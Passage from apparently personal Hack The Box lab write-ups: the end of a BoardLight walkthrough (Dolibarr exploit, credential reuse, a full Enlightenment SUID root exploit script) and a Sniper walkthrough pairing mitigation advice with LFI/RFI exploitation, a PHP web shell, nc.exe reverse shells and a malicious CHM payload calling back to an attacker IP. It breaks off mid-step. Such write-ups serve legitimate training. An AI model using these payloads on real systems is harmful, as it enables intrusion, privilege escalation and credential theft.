└─$ ffuf -u http://board.htb -H "Host: FUZZ.board.htb" -mc 200,302 -fl 518 -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -o subdomain-scan.txt

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://board.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.board.htb
 :: Output file      : subdomain-scan.txt
 :: File format      : json
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,302
 :: Filter           : Response lines: 518
________________________________________________

crm                     [Status: 200, Size: 6360, Words: 397, Lines: 150, Duration: 429ms]
:: Progress: [3188/114441] :: Job [1/1] :: 124 req/sec :: Duration: [0:00:27] :: Errors: 0 ::

crm.board.htb is identified and added to hosts.

10.129.2.235 board.htb  crm.board.htb

Subdomain enumeration

Browsing to the subdomain reveals a login page for Dolibarr 17.0.0

A search of searchsploit does not identify any immediate vulnerabilities for the version.

Initial access

Attempting common default credentials works, and access to the admin dashboard is achieved.

Further research of the CRM version reveals it is vulnerable to CVE-2023-30253, “a remote code execution vulnerability by authenticated users via an uppercase manipulation:<?PHP instead of <?php in injected data.”

It appears the ERP CRM can add websites and pages to test, and a malicious PHP payload could be added here to execute.

However, an exploit for the CVE also exists, likely reducing the time to compromise.

Reviewing the code, it appears the pre-built exploit automates steps that could be undertaken manually: creating a site and page, injecting a PHP reverse shell payload, and triggering the payload to gain a reverse shell connection to the attacking machine.

The help menu provides basic instructions on how to execute it.

┌──(emdeh㉿kali)-[~/Documents/htb-machines/boardlight/exploits]
└─$ git clone https://github.com/nikn0laty/Exploit-for-Dolibarr-17.0.0-CVE-2023-30253.git

Cloning into 'Exploit-for-Dolibarr-17.0.0-CVE-2023-30253'...
remote: Enumerating objects: 18, done.
remote: Counting objects: 100% (18/18), done.
remote: Compressing objects: 100% (16/16), done.
remote: Total 18 (delta 3), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (18/18), 9.17 KiB | 9.17 MiB/s, done.
Resolving deltas: 100% (3/3), done.

┌──(emdeh㉿kali)-[~/Documents/htb-machines/boardlight/exploits]
└─$ ls
Exploit-for-Dolibarr-17.0.0-CVE-2023-30253

┌──(emdeh㉿kali)-[~/Documents/htb-machines/boardlight/exploits]
└─$ cd Exploit-for-Dolibarr-17.0.0-CVE-2023-30253

┌──(emdeh㉿kali)-[~/…/htb-machines/boardlight/exploits/Exploit-for-Dolibarr-17.0.0-CVE-2023-30253]
└─$ ls
exploit.py  README.md

┌──(emdeh㉿kali)-[~/…/htb-machines/boardlight/exploits/Exploit-for-Dolibarr-17.0.0-CVE-2023-30253]
└─$ python3 exploit.py -h
usage: python3 exploit.py <TARGET_HOSTNAME> <USERNAME> <PASSWORD> <LHOST> <LPORT>
example: python3 exploit.py http://example.com login password 127.0.0.1 9001

---[Reverse Shell Exploit for Dolibarr <= 17.0.0 (CVE-2023-30253)]---

positional arguments:
  hostname    Target hostname
  username    Username of Dolibarr ERP/CRM
  password    Password of Dolibarr ERP/CRM
  lhost       Listening host for reverse shell
  lport       Listening port for reverse shell

options:
  -h, --help  show this help message and exit

First, a listener is started.

┌──(emdeh㉿kali)-[~/Documents/htb-machines/boardlight/exploits]
└─$ nc -lvnp 9000
listening on [any] 9000 ...

Then, the exploit is executed as follows:

python3 exploit.py http://example.com login passsword 127.0.0.1 9001

──(emdeh㉿kali)-[~/…/htb-machines/boardlight/exploits/Exploit-for-Dolibarr-17.0.0-CVE-2023-30253]
└─$ python3 exploit.py http://crm.board.htb <redacted> <redacted> 10.10.14.4 9000
[*] Trying authentication...
[**] Login: admin
[**] Password: admin
[*] Trying created site...
[*] Trying created page...
[*] Trying editing page and call reverse shell... Press Ctrl+C after successful connection
[!] If you have not received the shell, please check your login and password

Initially, the exploit failed to establish a connection, but on a second try, a shell was caught on the listener:

Lateral movement

According to the online documentation, the Dolibarr configuration file is conf/conf.php. The automatic install process creates it and contains the system setup.

Searching for this file locates it at /var/www/html/crm.board.htb/htdocs/

www-data@boardlight: find / -name conf.php 2> /dev/null

/var/www/html/crm.board.htb/htdocs/conf/conf.php

Reviewing the file reveals credentials for a MySQL database.

Connecting to it is successful.

www-data@boardlight:~/html/crm.board.htb/htdocs/conf$ mysql -u dolibarrowner -p
<rm.board.htb/htdocs/conf$ mysql -u doli<redacted> -p
Enter password: <REDACTED>

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 85
Server version: 8.0.36-0ubuntu0.20.04.1 (Ubuntu)

Copyright (c) 2000, 2024, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>

mysql> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| dolibarr           |
| information_schema |
| performance_schema |
+--------------------+
3 rows in set (0.00 sec)

mysql> use dolibarr;
use dolibarr;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
show tables;
+-------------------------------------------------------------+
| Tables_in_dolibarr                                          |
+-------------------------------------------------------------+
| llx_accounting_account                                      |
| llx_accounting_bookkeeping                                  |
| llx_accounting_bookkeeping_tmp                              |
| llx_accounting_fiscalyear                                   |
| llx_accounting_groups_account                               |
| llx_accounting_journal                                      |
| llx_accounting_system                                       |
| llx_actioncomm                                              |
| llx_actioncomm_extrafields                                  |
| llx_actioncomm_reminder                                     |
| llx_actioncomm_resources        
<SNIP>

Looking through the table names, the table “llx_user” appears interesting.

Selecting all from this table reveals some hashes

After a few attempts, the table was dumped with mysqldump, using the following syntax:

mysqldump -u username -p -v database-name table-name > where-to-dump.sql

The file is served from the compromised target and retrieved on the attack machine.

www-data@boardlight:~/html/crm.board.htb/htdocs/conf$ python3 -m http.server 8000
<.board.htb/htdocs/conf$ python3 -m http.server 8000

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.14.4 - - [07/Jun/2024 06:00:34] "GET /dump.sql HTTP/1.1" 200 -

──(emdeh㉿kali)-[~/Documents/htb-machines/boardlight/credentials]
└─$ wget http://10.129.2.235:8000/dump.sql

--2024-06-07 09:00:34--  http://10.129.2.235:8000/dump.sql
Connecting to 10.129.2.235:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6132 (6.0K) [application/x-sql]
Saving to: ‘dump.sql’

dump.sql                              100%[======================================================================>]   5.99K  --.-KB/s    in 0s

2024-06-07 09:00:35 (163 MB/s) - ‘dump.sql’ saved [6132/6132]

Two hashes are extracted from the dump and added to a new file, ready for cracking but unsuccessful.

Looking at the /home directory, there is one user named Larissa.

Trying the password found in the conf.php file is successful in logging in as Larissa on SSH and finding the first flag.

Priviliege escalation

Enumeration

Checking for sudo privileges does not lead anywhere.

larissa@boardlight:~$ sudo -l

[sudo] password for larissa:
Sorry, user larissa may not run sudo on localhost.

Linpeas is copied to the target and executed for further enumeration.

Files with an unknown SUID binary are identified.1

Searching searchsploit finds a potential exploit.

The exploit from searchsploit did not work initially, but a similar version found on GitHub by MaherAzzouzi worked2.

The raw file was copied to a .sh file on the target, and permissions were set and executed. The exploit successfully popped a root shell.

And the final flag is found.

#!/bin/bash

echo "CVE-2022-37706"
echo "[*] Trying to find the vulnerable SUID file..."
echo "[*] This may take few seconds..."

file=$(find / -name enlightenment_sys -perm -4000 2>/dev/null | head -1)

if [[ -z ${file} ]]
then
    echo "[-] Couldn't find the vulnerable SUID file..."
    echo "[*] Enlightenment should be installed on your system."
    exit 1
fi

echo "[+] Vulnerable SUID binary found!"
echo "[+] Trying to pop a root shell!"
mkdir -p /tmp/net
mkdir -p "/dev/../tmp/;/tmp/exploit"

echo "/bin/sh" > /tmp/exploit
chmod a+x /tmp/exploit

echo "[+] Enjoy the root shell :)"
${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net

Introduction

Sniper is rated as a medium difficulty. It begins with enumerating a PHP ISS web server and exploiting an LFI and RFI vulnerability to obtain initial access. Hardcoded credentials in a database script and password reuse allow for lateral movement. Privilege escalation is achieved by exploiting poor application control.

Contents

• Introduction

  • Vulnerabilities explored

    • Local File Inclusion

    • Remote File Inclusion

    • Hardcoded credentials

    • Password reuse

    • Poor Application Control

  • Tools

  • Tactics and Methods

• Enumeration

• Initial access

• Lateral movement

• Privilege escalation

Vulnerabilities explored

Local File Inclusion (LFI)

Local File Inclusion (LFI) occurs when an attacker exploits a web application's functionality to include files on the server. This happens due to improper user input validation to specify file paths, allowing the attacker to manipulate the path to include unintended files.

Mitigation

To prevent LFI vulnerabilities, consider the following measures:

1. Input Validation: Strictly validate and sanitise user inputs to ensure they do not contain malicious file path manipulations.

2. Use Whitelisting: Only allow predefined, trusted files to be included, avoiding dynamic inclusion based on user input.

3. Disable Directory Traversal: Implement measures to prevent directory traversal (e.g., ../) attacks.

4. Restrict File Access: Limit the files that can be included to those within a specific directory and restrict access to sensitive directories.

5. Error Handling: Implement proper error handling to avoid exposing file paths and system details.

Remote File Inclusion (RFI)

Remote File Inclusion (RFI) occurs when an attacker exploits a web application's functionality, including files from remote servers. This vulnerability arises when user input is used to specify file paths, and the application includes files from external sources without proper validation.

Mitigation To prevent RFI vulnerabilities, consider the following measures:

1. Input Validation: Ensure all user inputs are strictly validated and sanitized to prevent the inclusion of remote URLs.

2. Disable URL Includes: Configure the server to disable the inclusion of remote files via URL.

3. Use Whitelisting: Allow only predefined, trusted files to be included and avoid dynamic inclusion based on user input.

4. Secure Configuration: Ensure that configuration settings do not allow file inclusion from external sources.

5. Error Handling: Implement proper error handling to avoid exposing file paths and system details.

Example Mitigation for Both LFI and RFI

1. Use HTTPS: Ensure all communication between the client and server is encrypted to prevent man-in-the-middle attacks.

2. Security Audits: Regularly perform security audits and code reviews to identify and fix potential LFI and RFI vulnerabilities.

3. Keep Software Updated: Regularly update the web server, application, and dependencies to the latest versions with security patches.

By following these practices, you can significantly reduce the risk of LFI and RFI vulnerabilities in your web applications.

Insecure coding - hardcoded credentials

Similarly to IClean and Headless, insecure coding practices can lead to significant attack vectors. In this case, database credentials were hard coded, enabling lateral movement.

Password reuse

Password reuse occurs when individuals use the same password across multiple accounts or systems. This practice can lead to significant security risks because if one account is compromised, attackers can use the same password to access other accounts belonging to the same user.

Mitigation To prevent the risks associated with password reuse, consider the following measures:

1. Password Policies: Enforce strong password policies that require unique passwords for each account and system.

2. Password Managers: Encourage the use of password managers to generate and store complex, unique passwords for different accounts.

3. Regular Password Changes: Implement policies that require users to change their passwords regularly, reducing the risk of long-term password reuse.

4. Multi-Factor Authentication (MFA): Implement MFA to add an extra layer of security, ensuring that even if a password is reused, unauthorized access is still prevented.

5. Monitoring and Alerts: Monitor for unusual login activities and set up alerts for potential password reuse incidents.

6. User Education: Educate users about the risks of password reuse and provide training on creating and managing strong, unique passwords.

7. Breached Password Checks: Regularly check for breached passwords and notify users to change their passwords if their credentials have been exposed in a breach.

8. Centralized Authentication: Use centralized authentication systems (e.g., single sign-on) that reduce the need for multiple passwords across different systems.

Implementing these measures can significantly reduce the risk associated with password reuse and enhance the overall security of your systems and accounts.

Poor Application Control

Poor application control refers to the lack of effective mechanisms to manage and restrict the execution of applications within an organisation's IT environment. This can lead to the execution of unauthorised or malicious software, increasing the risk of security breaches, data loss, and system compromise.

Essential Eight: Application Control Requirements

Application Control is one of the Essential Eight strategies. Application Control specifically calls out .chm files as a file type that should not be executable. At a minimum for Maturity Level 1:

The execution of executables, software libraries, scripts, installers, compiled HTML, HTML applications and control panel applets is prevented on workstations from within standard user profiles and temporary folders used by the operating system, web browsers and email clients.

And for good reason, as the following will demonstrate.

Tools

• Nmap

• Gobuster

• Burpsuite

• Crackmapexec

• SMBMap

• HTML Help Workshop tool

Tactics and Methods

Enumeration

• Nmap was used to perform initial network scanning.

• Gobuser was used to enumerate site pages, identifying the initial vector on the /blog page.

Validating file inclusion with a LFI vulnerability

• Burpsuite was used to manipulate the HTTP requests to validate the Local File Inclusion (LFI) and Remote File Inclusion (RFI) vulnerabilities.

Achieving remote code execution with an RFI vulnerability

• Burpsuite, Netcat, and SMBMap were applied to achieve remote code execution on the server via the RFI vulnerability.

Privilege escalation by exploiting poor Application Control

• The HTML Help Workshop Tool was used to exploit poor application control to achieve privilege escalation.

Enumeration

Network scanning

As always, we start with a network scan of the target1.

┌──(emdeh㉿kali)-[~/Documents/htb-machines/sniper/scans]
└─$ sudo nmap -sV -sT -O -A -p- 10.129.229.6 | tee nmap-output.txt

Nmap scan report for 10.129.229.6
Host is up (0.68s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: Sniper Co.
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_  Potentially risky methods: TRACE
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
49667/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: broadband router|specialized|router
Running (JUST GUESSING): OneAccess embedded (89%), AVtech embedded (86%), Linksys embedded (85%)
OS CPE: cpe:/h:oneaccess:1641
Aggressive OS guesses: OneAccess 1641 router (89%), AVtech Room Alert 26W environmental monitor (86%), Linksys BEFSR41 EtherFast router (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2024-06-03T09:05:29
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
|_clock-skew: 6h59m59s

TRACEROUTE (using proto 1/icmp)
HOP RTT       ADDRESS
1   821.00 ms 10.10.14.1
2   873.51 ms 10.129.229.6

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 635.09 seconds

Findings

Open Ports and Services

• 80/TCP(HTTP)

  • Running Microsoft IIS httpd 10.0.

  • Potentially risky HTTP methods are available, such as TRACE.

  • The web server title is "Sniper Co."

• 135/TCP (Microsoft Windows RPC)

  • Could be used to explore remote procedure calls and potentially exploit vulnerabilities.

• 139/TCP(NetBIOS-SSN) and 445/TCP (Microsoft-ds?)

  • These ports are often associated with SMB services, which might be vulnerable to SMB exploits.

• 49667/TCP (Microsoft Windows RPC)

  • Another RPC service has a similar potential for exploration as port 135.

OS and Device Information

• Operating System

  • Detected as Windows, with additional CPE (Common Platform Enumeration) indicating Microsoft Windows.

  • OS detection hints towards Windows services and potential Windows-specific vulnerabilities.

SMB Information

• SMB2 Security Mode

  • Message signing is enabled but not required, indicating possible SMB relay attacks.

• SMB2 Time

  • It can be used to understand the time settings of the target system, potentially useful for timing attacks or understanding system behaviour.

HTTP Server Header

• Microsoft-IIS/10.0

  • Known vulnerabilities in IIS 10.0 could be explored for potential exploits.

Traceroute Information

• Network Distance 2 hops

• The host is relatively close in the network, which, in a real-world scenario, might affect the types of attacks or reconnaissance techniques used.

Site enumeration

The target IP resolves to a website for a company providing delivery tracking solutions.

A simple login screen is found at the User Portal.

There is an option to register for an account without verification.

Registering for an account and logging in lands on a User Portal Under Construction page.

Further webserver scans

A quick scan with whatweb confirms the server is running PHP on IIS.

┌──(emdeh㉿kali)-[~/Documents/htb-machines/sniper/scans]
└─$ whatweb 10.129.229.6 | tee whatweb-scan.txt

http://10.129.229.6 [200 OK] Bootstrap[3.0.0], Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.129.229.6], JQuery[2.1.3], Microsoft-IIS[10.0], PHP[7.3.1], Script, Title[Sniper Co.], X-Powered-By[PHP/7.3.1]

Further page enumeration

Gobuster was used to enumerate possible web pages2.

 gobuster dir -u http://10.129.229.6 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -t 100 -e  -o gobuster-scan.txt

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.229.6
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-1.0.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
http://10.129.229.6/images               (Status: 301) [Size: 150] [--> http://10.129.229.6/images/]
http://10.129.229.6/blog                 (Status: 301) [Size: 148] [--> http://10.129.229.6/blog/]
http://10.129.229.6/user                 (Status: 301) [Size: 148] [--> http://10.129.229.6/user/]
http://10.129.229.6/css                  (Status: 301) [Size: 147] [--> http://10.129.229.6/css/]
http://10.129.229.6/js                   (Status: 301) [Size: 146] [--> http://10.129.229.6/js/]
http://10.129.229.6/\                    (Status: 200) [Size: 2635]
http://10.129.229.6/images\              (Status: 403) [Size: 1233]
http://10.129.229.6/_Face_testing_at_Logan_is_fo%0Dund_lacking%2B (Status: 400) [Size: 324]
Progress: 136318 / 141709 (96.20%)

Results identified a few more pages of interest, namely a /blog page.

Navigating to /blog, parameters controlling the language of the page were found, which indicate the vulnerability to exploit for initial access is likely a Local File Inclusion.

Initial access

Validating Local File Inclusion (LFI)

Since the page uses a GET parameter to load content, it is possible to attempt using ../ to navigate to different directories and have other local files included in HTTP responses.

On Windows, the default web directory is C:\inetpub\wwwroot. Given that the current location is within the blog subdirectory, the path is C:\inetpub\wwwroot\blog. To traverse up three directories and load the Windows Initialization file from C:\Windows\win.ini, the following input can be used:

http://10.129.229.6/blog/?lang=../../../windows/win.ini

This is unsuccessful, but the absolute path can be attempted via curl, which successfully includes the `ini` file in the response. This confirms the presence of a Local File Inclusion vulnerability.

curl -X GET http://10.129.229.6/blog/?lang=/windows/win.ini
<SNIP>
</html>
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
</body>
</html>

This can also be confirmed in Burpsuite by repeating and modifying the request before sending it again.

The following screenshot shows the original request in the HTTP history:

The next screenshot shows the modified repeated request and subsequent response that includes the contents of the local win.ini file:

Given the presence of SMB, it is advisable to attempt to include a remote file over that protocol, which would indicate the presence of a Remote File Inclusion (RFI) vulnerability.

As demonstrated below, starting a Netcat listener and requesting a non-existent file from the attack machine over Port 445 (SMB) results in a connection, indicating that the target server can be manipulated to request remote files over the SMB protocol.

Remote File Inclusion

After validating the potential for a Remote File Inclusion, the next step is to set up an SMB (Server Message Block) share to attempt to include remote files.

This setup enables the exploitation of the Remote File Inclusion vulnerability by including files over the SMB protocol. The ultimate objective is to gain a reverse shell on the target machine, so the included file is a Netcat executable (nc.exe). If nc.exe can be remotely included, it may be possible to leverage it to connect to a Netcat listener.

Step 1 - Create a new folder to act as an SMB share

Firstly, a new folder is created on the attack machine at `/tmp`. This will be used to house nc.exe so the target can be manipulated to include the file during execution.

mkdir www

Step 2 - Configure the SMB share and align directory permissions

The directory needs to be configured as an SMB share by editing the /etc/samba/smb.conf and adding the following to the bottom of the file.

[www]
path = /tmp/www/
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody

Back in the directory, the permissions are set as shown:

┌──(emdeh㉿kali)-[~/Documents/htb-machines/sniper/]
└─$ chmod 0555 /tmp/www/
└─$ sudo chown -R nobody:nogroup /tmp/www

The chmod 0555 command sets the permissions for the /tmp/www/ directory to r-xr-xr-x, which means no one can write to the directory, but everyone can read and execute files within it, matching the configuration written to the SMB config file.

Step 3 - Start the SMB server and validate it’s running

The SMB server is then started:

┌──(emdeh㉿kali)-[~/Documents/htb-machines/sniper/]
└─$ sudo service smbd start

The server can be checked that it is running with smbmap:

smbmap -H 10.10.14.5

Step 4 - Deploy a web shell to send commands

A Web Shell3 is added to a .PHP file and added to the SMB share. This will be used to send commands to the web server.

┌──(emdeh㉿kali)-[/tmp/www]
└─$ cat shell.php

<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }?>

In Burpsuite, the GET response can be manipulated to retrieve the shell and run simple commands. The following demonstrates how the `whoami` command was successfully executed on the target via the web shell.

Step 5 - Stage nc.exe on the SMB server

A copy of nc.exe is then downloaded and moved to the SMB share.

┌──(emdeh㉿kali)-[~/Documents/htb-machines/sniper/exploits]
└─$ sudo git clone https://github.com/int0x33/nc.exe.git
Cloning into 'nc.exe'...
remote: Enumerating objects: 13, done.
remote: Total 13 (delta 0), reused 0 (delta 0), pack-reused 13
Receiving objects: 100% (13/13), 114.07 KiB | 1.81 MiB/s, done.

┌──(emdeh㉿kali)-[~/…/htb-machines/sniper/exploits/nc.exe]
└─$ sudo cp nc.exe /tmp/www/nc.exe

┌──(emdeh㉿kali)-[~/…/htb-machines/sniper/exploits/nc.exe]
└─$ sudo chmod +x /tmp/www/nc.exe

Step 6 - Start a Netcat listener

Start a Netcat listener to capture the reverse shell

nc -lvnp 4444

Step 7 - Execute the command to establish a connection

The target needs to be manipulated into accessing and executing the nc.exe file from the SMB server to achieve a reverse shell.

However, an HTTP GET request will likely not work due to URL length limitations and data encoding issues. Some web servers also restrict the length and complexity of GET request parameters. To work around this, a POST request can be attempted, as it allows for the inclusion of larger payloads and more complex data.

Using a POST request, the necessary command to execute nc.exe on the target server to establish a reverse shell can be sent without the constraints of a GET request. As shown below, the request method can be changed from GET to POST in Burpsuite to achieve this.

The command is constructed to connect to the listener using the nc.exe file from the SMB server. The command is URL-encoded and sent via the POST request.

This leads to successfully exploiting and controlling the target machine via a reverse shell.

Lateral movement

On the target server, in the \user directory of wwwroot a file named db.php is located.

C:\inetpub\wwwroot\blog>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is AE98-73A8

 Directory of C:\inetpub\wwwroot\blog

04/11/2019  05:23 AM    <DIR>          .
04/11/2019  05:23 AM    <DIR>          ..
04/11/2019  05:28 AM             4,341 blog-en.php
04/11/2019  05:28 AM             4,487 blog-es.php
04/11/2019  05:28 AM             4,489 blog-fr.php
04/11/2019  05:23 AM    <DIR>          css
04/11/2019  05:25 AM             1,357 error.html
04/11/2019  05:25 AM             1,331 header.html
04/11/2019  08:31 PM               442 index.php
04/11/2019  05:23 AM    <DIR>          js
               6 File(s)         16,447 bytes
               4 Dir(s)   2,392,137,728 bytes free

C:\inetpub\wwwroot\blog>cd ..
cd ..

C:\inetpub\wwwroot>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is AE98-73A8

 Directory of C:\inetpub\wwwroot

04/11/2019  10:51 AM    <DIR>          .
04/11/2019  10:51 AM    <DIR>          ..
04/11/2019  05:23 AM    <DIR>          blog
04/11/2019  05:23 AM    <DIR>          css
04/11/2019  05:23 AM    <DIR>          images
04/11/2019  05:22 PM             2,635 index.php
04/11/2019  05:23 AM    <DIR>          js
04/11/2019  05:23 AM    <DIR>          scss
10/01/2019  08:44 AM    <DIR>          user
               1 File(s)          2,635 bytes
               8 Dir(s)   2,391,089,152 bytes free

C:\inetpub\wwwroot>cd user
cd user

C:\inetpub\wwwroot\user>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is AE98-73A8

 Directory of C:\inetpub\wwwroot\user

10/01/2019  08:44 AM    <DIR>          .
10/01/2019  08:44 AM    <DIR>          ..
04/11/2019  05:15 PM               108 auth.php
04/11/2019  05:52 AM    <DIR>          css
04/11/2019  10:51 AM               337 db.php
04/11/2019  05:23 AM    <DIR>          fonts
04/11/2019  05:23 AM    <DIR>          images
04/11/2019  06:18 AM             4,639 index.php
04/11/2019  05:23 AM    <DIR>          js
04/11/2019  06:10 AM             6,463 login.php
04/08/2019  11:04 PM               148 logout.php
10/01/2019  08:42 AM             7,192 registration.php
08/14/2019  10:35 PM             7,004 registration_old123123123847.php
04/11/2019  05:23 AM    <DIR>          vendor
               7 File(s)         25,891 bytes
               7 Dir(s)   2,391,089,152 bytes free

Switching to PowerShell, the Get-Content (gc) cmdlet can be used to retrieve the contents. Within the file, a hardcoded password is found.

C:\inetpub\wwwroot\user>powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\inetpub\wwwroot\user> gc db.php
gc db.php
<?php
// Enter your Host, username, password, database below.
// I left password empty because i do not set password on localhost.
$con = mysqli_connect("localhost","dbuser","<REDACTED>","sniper");
// Check connection
if (mysqli_connect_errno())
  {
  echo "Failed to connect to MySQL: " . mysqli_connect_error();
  }
?>
PS C:\inetpub\wwwroot\user>

Navigating to the C:\Users directory, an account named Chris is present.

PS C:\Users> gci
gci


    Directory: C:\Users


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         4/9/2019   6:47 AM                Administrator
d-----        4/11/2019   7:04 AM                Chris
d-r---         4/9/2019   6:47 AM                Public

Attempting the password with this username on the SMB protocol confirms they match.

┌──(emdeh㉿kali)-[~]
└─$ crackmapexec smb 10.129.229.6 -u chris -p '<REDACTED>'
SMB         10.129.229.6    445    SNIPER           [*] Windows 10 / Server 2019 Build 17763 x64 (name:SNIPER) (domain:Sniper) (signing:False) (SMBv1:False)
SMB         10.129.229.6    445    SNIPER           [+] Sniper\chris:36mEAhz/B8xQ~2VM

As the password is confirmed to belong to Chris, another reverse shell can be established within this user’s context. To do this, the password can be added to a variable within the current context and converted to a secure string.

$pass = '<REDACTED>' #Adds the password to the variable $pass

$pass = ConvertTo-SecureString "36mEAhz/B8xQ~2VM" -AsPlainText -Force
# Converts the variable to a Secure String

Then, a PSCredential object is created using the username 'SNIPER\Chris' and the secure password stored in the variable.

$cred = New-Object System.Management.Automation.PSCredential("SNIPER\\Chris", $pass)

The Invoke-Command cmdlet executes commands on the remote machine 'SNIPER' using the credentials created. A simple `whoami` can be used for validation.

Invoke-Command -ComputerName SNIPER -Credential $cred -ScriptBlock {whoami}

A listener on the attack machine can then be started.

┌──(emdeh㉿kali)-[~]
└─$ nc -lvnp 4321
listening on [any] 4321 ...

Using the credentials saved in the variable and the Invoke-Command cmdlet, a connection back to the listener can be established within the context of the user “Chris”, again leveraging the nc.exe file on the SMB share..

Invoke-Command -ComputerName SNIPER -Credential $cred -ScriptBlock {\\10.10.14.4\www\nc.exe 10.10.14.4 4321 -e powershell}

Start a listener
```bash
┌──(emdeh㉿kali)-[~]
└─$ nc -lvnp 4321
listening on [any] 4321 ...
connect to [10.10.14.5] from (UNKNOWN) [10.129.229.6] 49725
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\Chris\Documents> whoami
whoami
sniper\chris

PS C:\Users\Chris\Desktop> type user.txt
type user.txt
<REDACTED>

And the first flag is found.

Privilege escalation

Enumerating the account

The user “Chris” was enumerated with the following command, which is a shorthand alias for the Get-ChildItem cmdlet in PowerShell. It is used to retrieve items from a specified location. When combined with the -recurse parameter, it retrieves items recursively from all subdirectories within the specified location.

One file of interest has a .chm extension.

Files with the .chm extension are compiled HTML files, commonly known as Compiled HTML Help files. They are a proprietary format developed by Microsoft for online help documentation and can embed active content and execute scripts.

This is likely the path to privilege escalation through poor application control.

Enumerating further, a non-standard directory at C:\ is located.

PS C:\Users\Chris> gci -recurse
gci -recurse

PS C:\> gci
gci

Within the folder, there is a `notes.txt` file:

PS C:\Docs> gci -recurse
gci -recurse


    Directory: C:\Docs


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        4/11/2019   9:31 AM            285 note.txt
-a----        4/11/2019   9:17 AM         552607 php for dummies-trial.pdf



PS C:\Docs> gc note.txt
gc note.txt
Hi Chris,
        Your php skillz suck. Contact yamitenshi so that he teaches you how to use it and after that fix the website as there are a lot of bugs on it. And I hope that you've prepared the documentation for our new app. Drop it here when you're done with it.

Regards,
Sniper CEO.

A bit mean...

It seems Chris has already prepared the instructions in the `instructions.chm` file, and the CEO is waiting for them to be provided in the shared location (C: Docs).

As compiled HTML files can execute scripts and contain active content, a malicious version of the instructions.chm can be created and dropped into C:\Docs.

Presumably, the CEO will then open it and execute the payload within a new user context.

Malicious file construction

To construct the malicious instructions.chm file, Microsoft’s HTML Help Workshop tool can be used.

This article was also helpful in constructing the malicious .chm file.

Start a new project in HTML Help Workshop.

Follow the wizard through and give the project a name.

Select to include HTML files (.htm).

Now, create a .html file.

<html>
<title> Malicious CHM </title>
<head>
</head>
<body>
 
<h2 align=center> Malicious CHM </h2>
<p>
<h3 align=center> This is a malicious CHM file </h3>
</p>
</body>
</html>
 
<OBJECT id=shortcut classid="clsid:52a2aaae-085d-4187-97ea-8c30db990436" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap:shortcut">
<PARAM name="Item1" value=",cmd,/c C:\Users\Chris\nc.exe 10.10.14.4 1234 -e powershell.exe">
<PARAM name="Item2" value="273,1,1">
 
</OBJECT>
<SCRIPT>
shortcut.Click();
</SCRIPT>

This file will call the nc.exe from C:\Users\Chris\ and then attempt to establish a connection back to the attack machine on Port 1234

Add the file to the project.

Click Next and Finish.

From the File menu on the next screen, choose Compile.

Execution

1. Start a listener on Netcat.

┌──(emdeh㉿kali)-[~/Documents/htb-machines/sniper]
└─$ nc -lvnp 1234
listening on [any] 1234 ...

2. Copy the created instructions.chm file to the attack machine. Serve it using Python and retrieve it on the shell within Chris’ user context.

